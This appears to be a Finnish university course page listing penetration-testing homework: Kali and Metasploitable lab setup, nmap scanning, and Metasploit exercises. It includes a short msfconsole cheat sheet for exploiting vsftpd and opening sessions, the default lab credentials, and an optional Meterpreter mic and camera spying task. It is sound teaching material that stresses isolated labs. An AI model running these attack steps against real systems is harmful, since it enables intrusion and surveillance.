&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/tunkeutumistestaus-2024p2/&quot;&gt;Tunkeutumistestaus 2024p2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/eettinen-hakkerointi-2024/&quot;&gt;Tunkeutumistestaus ici005as3a-3001 loppukevät pa2004&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2023/eettinen-hakkerointi-2023/&quot;&gt;Tunkeutumistestaus ict4tn027-3012 loppusyksy online&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2023/tunkeutumistestaus-2023-kevat/&quot;&gt;Tunkeutumistestaus ict4tn027-3009&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2022/tunkeutumistestaus-ict4tn027-3010-syksylla-2022/&quot;&gt;Tunkeutumistestaus ict4tn027-3010 - Syksy 2022&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/penetration-testing-course-2022-spring/&quot;&gt;Tunkeutumistestaus ict4tn027-3007 - 2022p4 late spring&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/&quot;&gt;Tunkeutumistestaus ict4tn027-3008 - 2021 Autumn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/&quot;&gt;itc4tn027-3005: Tunkeutumistestaus eli eettinen hakkerointi -kurssi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3006-autumn-2020/&quot;&gt;Penetration Testing Course 2020 Autumn - Tunkeutumistestaus ict4tn027-3006&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3003/&quot;&gt;Penetration Testing Course 2020 Spring - Tunkeutumistestaus ict4tn027-3003&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/search/?q=tunkeutumistestaus&quot;&gt;Haku &quot;Tunkeutumistestaus&quot;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.&lt;/p&gt;
&lt;p&gt;Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.&lt;/p&gt;
&lt;p&gt;Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa.  Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.&lt;/p&gt;
&lt;p&gt;Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.&lt;/p&gt;
&lt;p&gt;Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat.&lt;/p&gt;
&lt;p&gt;Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tehtävät tulee tehdä itse, eikä niitä tule antaa suurelta osin tekoälyn ratkaistavaksi. Sehän olisi sama kuin ostaa punttisjäsennyys - ja nokkelasti jättää käymättä punttisalilla.&lt;/p&gt;
&lt;p&gt;Kaksi ristiinarviota (vähintään) per palautettu tehtävä. Ristiinarvioilla harjoitellaan palautteen antamista ja analyysia. Anna sisällöllisiä kommentteja, parannusehdotuksia, neuvoja.&lt;/p&gt;
&lt;p&gt;Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.&lt;/p&gt;
&lt;h3 id=&quot;h1-kybertappoketju&quot;&gt;h1 Kybertappoketju &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h1-kybertappoketju&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tehtävät ovat virallisia vasta, kun ne on annettu tehtäväksi. Niitä ei tule aloittaa etukäteen, koska niiden sisältö voi vielä muuttua olennaisesti.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannataa lisätä kustakin oma huomio, idea tai kysymys.)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://herrasmieshakkerit.fi/&quot;&gt;Herrasmieshakkerit&lt;/a&gt; (&lt;a href=&quot;https://hakkerit.libsyn.com/rss&quot;&gt;RSS&lt;/a&gt;) tai &lt;a href=&quot;https://darknetdiaries.com/episode/&quot;&gt;Darknet Diaries&lt;/a&gt; (&lt;a href=&quot;https://podcast.darknetdiaries.com/&quot;&gt;RSS&lt;/a&gt;) , yksi vapaavalintainen jakso jommasta kummasta. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / hyvä kunto kaupan päälle.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf&quot;&gt;Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a&gt;, chapters &lt;em&gt;Abstract&lt;/em&gt;, 3.2 &lt;em&gt;Intrusion Kill Chain&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;€ Santos et al: The Art of Hacking (Video Collection): &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_04_00&quot;&gt;4.3 Surveying Essential Tools for Active Reconnaissance&lt;/a&gt;. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://finlex.fi/fi/oikeus/kko/kko/2003/20030036&quot;&gt;KKO 2003:36&lt;/a&gt;. (Vain silmäily, ei tarvitse lukea kokonaan eikä varsinkaan tehdä syvällistä analyysia).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).&lt;/li&gt;
&lt;li&gt;b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. &#39;ping 8.8.8.8&#39;)&lt;/li&gt;
&lt;li&gt;c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -T4 -A localhost). Selitä komennon paramterit. Analysoi ja selitä tulokset.&lt;/li&gt;
&lt;li&gt;d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.&lt;/li&gt;
&lt;li&gt;e) Ratkaise vapaavalintainen kone HackTheBoxista. Omalle tasolle sopiva, useimmille varmaan Starting Pointista. Valitse kone, jota et ole ratkaissut vielä. Ei tunnilla näytetty Meow. (Propellihatuille: jos teet vaikeampia ei-starting-point koneita, niin retired tai vastaava kone, josta saa julkaista writeupin).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sivun tekeminen wepiin onnistuu helposti Githubilla. Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Podcastien kuunteluun &lt;a href=&quot;https://antennapod.org/&quot;&gt;AntennaPod&lt;/a&gt; löytyy &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;F-Droid:sta&lt;/a&gt; ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.&lt;/li&gt;
&lt;li&gt;Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt, qemu). Tämä edellyttää toki omaa soveltamista.&lt;/li&gt;
&lt;li&gt;Suosittelen Kaliin 4 GB muistia&lt;/li&gt;
&lt;li&gt;OffSec Ltd 2023: &lt;a href=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot;&gt;Prebuilt Virtual Machines&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tutustu tarvittaessa itse etsimiisi lähteisiin, kuten man-sivuihin ja ohjelmien dokumentaatioon.&lt;/li&gt;
&lt;li&gt;HackTheBox:n OpenVPN-yhteyden asennus (ulkomuistista)
&lt;ul&gt;
&lt;li&gt;Oikea HackTheBoxin alue on &quot;Practice hands-on Labs&quot; https://app.hackthebox.com/home (ei Academy)&lt;/li&gt;
&lt;li&gt;Tallenna ruutukaappaus säännöistä ennen aloitusta. HTB oikealla ylhäällä, kysymysmerkin alla.&lt;/li&gt;
&lt;li&gt;Lataa Starting Point foo.ovpn
&lt;ul&gt;
&lt;li&gt;Connect-nappi, HackTheBoxin oikeassa yläreunassa&lt;/li&gt;
&lt;li&gt;Oikealla ylhäällä &quot;Connect&quot;, &quot;Starting point&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tuo (import) yhteys Network Manager:iin
&lt;ul&gt;
&lt;li&gt;Network manager - Linuxissa ala/yläpalkissa tarjottimella (tray, notification area), naaras ethernet-portin kuva tai koneet haalaavat -ikoni (riippuen versiosta). Tai komentoriviltä &#39;nmcli&#39;.&lt;/li&gt;
&lt;li&gt;VPN Connections: Create. &quot;Import&quot; on alimmaisena, ja valikkoa pitää kelata alaspäin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;VPN päälle, testaus.
&lt;ul&gt;
&lt;li&gt;VPN päälle löytyy samasta Network Manager -kuvakkeesta.&lt;/li&gt;
&lt;li&gt;&#39;ping 8.8.8.8&#39; - pitäisi toimia (vastata) VPN pois päältä, ja lakata vastaamasta kun laitat VPN päälle.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Muista laittaa lähdeviitteet. Viittaa joka tehtävästä kurssiin ja kaikkiin muihinkin käyttämiisi lähteisiin.&lt;/li&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston &lt;a href=&quot;https://libguides.haaga-helia.fi/az/databases&quot;&gt;Haaga-Helia A-Z&lt;/a&gt; kautta.&lt;/li&gt;
&lt;li&gt;Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.&lt;/li&gt;
&lt;li&gt;Tietoja verkosta
&lt;ul&gt;
&lt;li&gt;ip a; ifconfig&lt;/li&gt;
&lt;li&gt;ip route&lt;/li&gt;
&lt;li&gt;ipcalc 10.0.0.1/24&lt;/li&gt;
&lt;li&gt;ping 8.8.8.8&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.&lt;/li&gt;
&lt;li&gt;Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.&lt;/li&gt;
&lt;li&gt;Ongelmallisista kohdista raportoidaan erityisen tarkasti, jotta voimme antaa vinkkejä haasteisiin.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h2-dora-the-explora&quot;&gt;h2 DORA the Explora &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h2-dora-the-explora&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Can you say TIBER-FI?&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma havainto, idea tai kysymys)
&lt;ul&gt;
&lt;li&gt;Buuri 2026: &lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf&quot;&gt;DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a&gt; (pdf, 2 MB)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng&quot;&gt;DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a&gt; (vain nämä kaksi artiklaa):
&lt;ul&gt;
&lt;li&gt;Article 26 &quot;Advanced testing of ICT tools, systems and processes based on TLPT&quot;&lt;/li&gt;
&lt;li&gt;Article 27 &quot;Requirements for testers for the carrying out of TLPT&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf&quot;&gt;TIBER-FI procedures and guidelines&lt;/a&gt; (pdf, 1 MB) (vain tämä kohta):
&lt;ul&gt;
&lt;li&gt;5.4 Testing phase: Red team testing (johdantokappale suoraan 5.4 alta, &quot;5.4.1 Red team test plan creation&quot; alkuun asti)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vapaaehtoinen bonus: Buuri 2026: &lt;a href=&quot;https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ&quot;&gt;D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a&gt;. Video, 45 min. Disobey 2026.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Metasploitable 2 virtuaalikoneeseen.&lt;/li&gt;
&lt;li&gt;b) Tee Kalin ja Metasploitablen välille virtuaaliverkko. Jos säätelet VirtualBoxista
&lt;ul&gt;
&lt;li&gt;Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä&lt;/li&gt;
&lt;li&gt;Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Harjoittelemme omassa virtuaaliverkossa, jossa on Kali ja Metaspoitable. Osoita testein, että 1) koneet eivät saa yhteyttä Internetiin 2) Koneet saavat yhteyden toisiinsa.&lt;/li&gt;
&lt;li&gt;d) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.&lt;/li&gt;
&lt;li&gt;e) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -T4 -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta. Voit hakea analyysin tueksi tietoa verkosta, muista merkitä lähteet.&lt;/li&gt;
&lt;li&gt;f) Vapaaehtoinen bonus: Sisään vaan. Pääsetkö murtautumaan Metasploitableen?&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen bonus: jos haluat, voit jo kokeilla metasploit-hyökkäysohjelmaa omaan harjoitusmaaliisi. Tätä katsotaan myöhemmin yhdessäkin. (Muista irrottaa kone Internetistä kokeilujen ajaksi. &#39;sudo msfdb init&#39;, &#39;sudo msfconsole&#39;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa&lt;/li&gt;
&lt;li&gt;Kannattaa lukea Valkamon artikkelista VirtualBox-osuus ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: &lt;a href=&quot;https://tuomasvalkamo.com/PenTestCourse/week-2/&quot;&gt;Hacking into a Target Using Metasploit&lt;/a&gt;:  Metasploitable&lt;/li&gt;
&lt;li&gt;VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.&lt;/li&gt;
&lt;li&gt;Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja &#39;ifconfig&#39; tai &#39;ip addr&#39;. Metasploitable 2:n kannattaa laittaa vain yksi &quot;Host only networking&quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-eternalhomework&quot;&gt;h3 EternalHomework &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#h3-eternalhomework&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/tunkeutumistestaus/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
&lt;ul&gt;
&lt;li&gt;€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta &lt;a href=&quot;https://learning.oreilly.com/library/view/mastering-metasploit/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-31&quot;&gt;Conducting a penetration test with Metasploit&lt;/a&gt; luvun loppuun eli &quot;Summary&quot; loppuun)&lt;/li&gt;
&lt;li&gt;Mitä &#39;nmap -sn&#39; tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).&lt;/li&gt;
&lt;li&gt;c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla &quot;hosts&quot; ja &quot;services&quot;. Kokeile suodattaa näitä listoja tai hakea niistä.&lt;/li&gt;
&lt;li&gt;d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.&lt;/li&gt;
&lt;li&gt;e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?&lt;/li&gt;
&lt;li&gt;f) Murtaudu Metasploitablen vsftpd-palveluun&lt;/li&gt;
&lt;li&gt;g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.&lt;/li&gt;
&lt;li&gt;h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).&lt;/li&gt;
&lt;li&gt;i) Demonstroi Meterpretrin ominaisuuksia.&lt;/li&gt;
&lt;li&gt;j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.&lt;/li&gt;
&lt;li&gt;k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA...) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) &#39;grep -r&#39; -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.&lt;/li&gt;
&lt;li&gt;l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa &quot;Attaack!&quot; ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)&lt;/li&gt;
&lt;li&gt;m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.&lt;/li&gt;
&lt;li&gt;n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?&lt;/li&gt;
&lt;li&gt;o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten &lt;a href=&quot;https://sliver.sh/&quot;&gt;Sliver&lt;/a&gt; tai Scarecrow.&lt;/li&gt;
&lt;li&gt;p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: &lt;a href=&quot;https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/&quot;&gt;Install Metasploitable 3 – Vulnerable Target Computer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Vinkkejä&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.&lt;/li&gt;
&lt;li&gt;Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja &#39;ifconfig&#39; tai &#39;ip addr&#39;. Metasploitable 2:n kannattaa laittaa vain yksi &quot;Host only networking&quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li&gt;
&lt;li&gt;Murtautumiseen Metasploitable 2:n löytyy esimerkkiratkaisuja &lt;a href=&quot;https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide&quot;&gt;Metasploitable 2 Exploitability Guide&lt;/a&gt;. Tämä on läpikävelyohje, joten kannattaa yrittää ensin itse.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/&quot;&gt;Mitre Attack Enterprise Matrix&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Tactic, välitavoitteita, esim. &lt;a href=&quot;https://attack.mitre.org/tactics/TA0003/&quot;&gt;TA0003 Persistence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Techique, keinoja, esim. &lt;a href=&quot;https://attack.mitre.org/techniques/T1189/&quot;&gt;T1189 Drive-by Compromise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/resources/faq/&quot;&gt;Mitre FAQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;grep -ir
&lt;ul&gt;
&lt;li&gt;grep -ir -C 3 --color=always terokarvinen.com|less -R&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;MsfConsole vinkit (ulkomuistista)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tässä siis ulkomuistista, voit etsiä näistä lisätietoa ja oikean kirjoitusasun.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; msfdb init&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; msfconsole&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; db_nmap localhost&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; services&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; hosts&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; workspaces &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions --help&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; search vsftpd&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; use 0&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; setg RHOSTS 127.0.0.1	# huolellisesti, tähän hyökätään kohta&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; show options&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; exploit&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions 1&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;shell&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;ctrl-Z &lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; session -u 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
